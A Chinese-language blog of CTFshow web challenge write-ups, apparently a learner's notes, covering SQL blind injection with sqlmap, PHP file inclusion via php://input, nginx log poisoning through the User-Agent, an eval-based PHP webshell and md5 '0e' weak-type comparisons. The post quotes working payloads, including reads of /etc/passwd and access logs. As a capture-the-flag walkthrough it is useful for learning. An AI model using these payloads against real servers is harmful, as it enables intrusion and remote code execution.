[CTFshow]Web记录


Web

Web签到题(注释隐藏,base64编码)

F12,发现注释里面有一串base64,解码拿到flag。

Web2(sql盲注)

打开题目一看似乎是个时间盲注,直接丢sqlmap爆破拿到flag。

Web3(文件包含,伪协议)

主页上有这么一行代码,很明显是文件包含漏洞,get一下url的值,然后包含文件。这里我们使用php的input伪协议,

先来个phpinfo试一下,成功显示,不过里面没什么重要东西。这次我们执行命令ls:

返回如下:

里面有个ctf_go_go_go很可疑,使用cat命令打开:

<?php system("cat 'ctf_go_go_go'");?>

flag就在里面,成功回显。

值得注意的一点:

第一次执行ls命令的时候我使用了eval函数,回显页面只有命令产生的回显,原来index里面的页面内容都不见了;第二次直接system执行,不使用eval的时候,回显页面是index加上命令回显,暂时不知道原因。

Web4(文件包含,日志注入,webshell)

还是一样的页面,但这次让我吃了点苦头。尝试和上一次一样的php伪协议,但是都会返回一个error页面,无可奈何查看hint,hint说此题为日志注入。

日志注入:

日志包含漏洞属于是本地文件包含,同样服务器没有很好的过滤,或者是服务器配置不当导致用户进入了内网,本来常规用户是访问不了这些文件的,但由于发起访问请求的人是服务器本身,也就导致用户任意文件读取。

在不同的服务器,存放日志文件地方和文件名不同
apache一般是/var/log/apache/access.log

nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

首先,构造payload:

?url=/etc/passwd

Linux下的/etc/passwd文件中有一些记录,如果可以访问这个地址说明我们可以查看内网文件。访问之后发现果然可以查看内网文件,并且知道了服务器是nginx。

构造payload:

?url=/var/log/nginx/access.log

看到了里面的内容,发现记录的东西都是user-agent,那我们burp抓包,在user-agent中注入,比如添加<?php phpinfo();?>试试看:

成功回显,我们将phpinfo()改成webshell进行注入:

<?php @eval($_POST['shell']);?>

使用蚁剑连接,在目录中可以找到flag。

值得注意的点

第一次蚁剑连接之后里面的文件都是奇奇怪怪的东西,后来重新弄了一遍之后就好了,也许是哪里出了点问题。

Web5(php弱类型,md5碰撞)

get两个值v1和v2,ctype_alpha检查v1是否仅包含字符,is_numeric检查v2是否为数字或数字字符串,然后构造md5碰撞。这是典型的弱类型比较问题,“ == ”运算符会将两个比较对象转换成同一类型再进行比较,对于字符串来说,数字开头的就会转换成相应数字,比如"1a"==1返回true,其他一概转换成0,如"a0"==0返回true。所以我们只要找一些md5值开头是0e的字符串就可以。

md5(QNKCDZO) = 0e830400451993494058024219903391
md5(240610708) = 0e462097431906509019562988736854

两者在比较的时候都会转换成0,从而导致判断结果为相等。

TRANSLATE with x English
Arabic Hebrew Polish
Bulgarian Hindi Portuguese
Catalan Hmong Daw Romanian
Chinese Simplified Hungarian Russian
Chinese Traditional Indonesian Slovak
Czech Italian Slovenian
Danish Japanese Spanish
Dutch Klingon Swedish
English Korean Thai
Estonian Latvian Turkish
Finnish Lithuanian Ukrainian
French Malay Urdu
German Maltese Vietnamese
Greek Norwegian Welsh
Haitian Creole Persian  
Bing Webmaster Portal Bac   此页面的语言为中文(简体)   翻译为        
  • 中文(简体)
  • 中文(繁体)
  • 丹麦语
  • 乌克兰语
  • 乌尔都语
  • 亚美尼亚语
  • 俄语
  • 保加利亚语
  • 克罗地亚语
  • 冰岛语
  • 加泰罗尼亚语
  • 匈牙利语
  • 卡纳达语
  • 印地语
  • 印尼语
  • 古吉拉特语
  • 哈萨克语
  • 土耳其语
  • 威尔士语
  • 孟加拉语
  • 尼泊尔语
  • 布尔语(南非荷兰语)
  • 希伯来语
  • 希腊语
  • 库尔德语
  • 德语
  • 意大利语
  • 拉脱维亚语
  • 挪威语
  • 捷克语
  • 斯洛伐克语
  • 斯洛文尼亚语
  • 旁遮普语
  • 日语
  • 普什图语
  • 毛利语
  • 法语
  • 波兰语
  • 波斯语
  • 泰卢固语
  • 泰米尔语
  • 泰语
  • 海地克里奥尔语
  • 爱沙尼亚语
  • 瑞典语
  • 立陶宛语
  • 缅甸语
  • 罗马尼亚语
  • 老挝语
  • 芬兰语
  • 英语
  • 荷兰语
  • 萨摩亚语
  • 葡萄牙语
  • 西班牙语
  • 越南语
  • 阿塞拜疆语
  • 阿姆哈拉语
  • 阿尔巴尼亚语
  • 阿拉伯语
  • 韩语
  • 马尔加什语
  • 马拉地语
  • 马拉雅拉姆语
  • 马来语
  • 马耳他语
  • 高棉语
 

web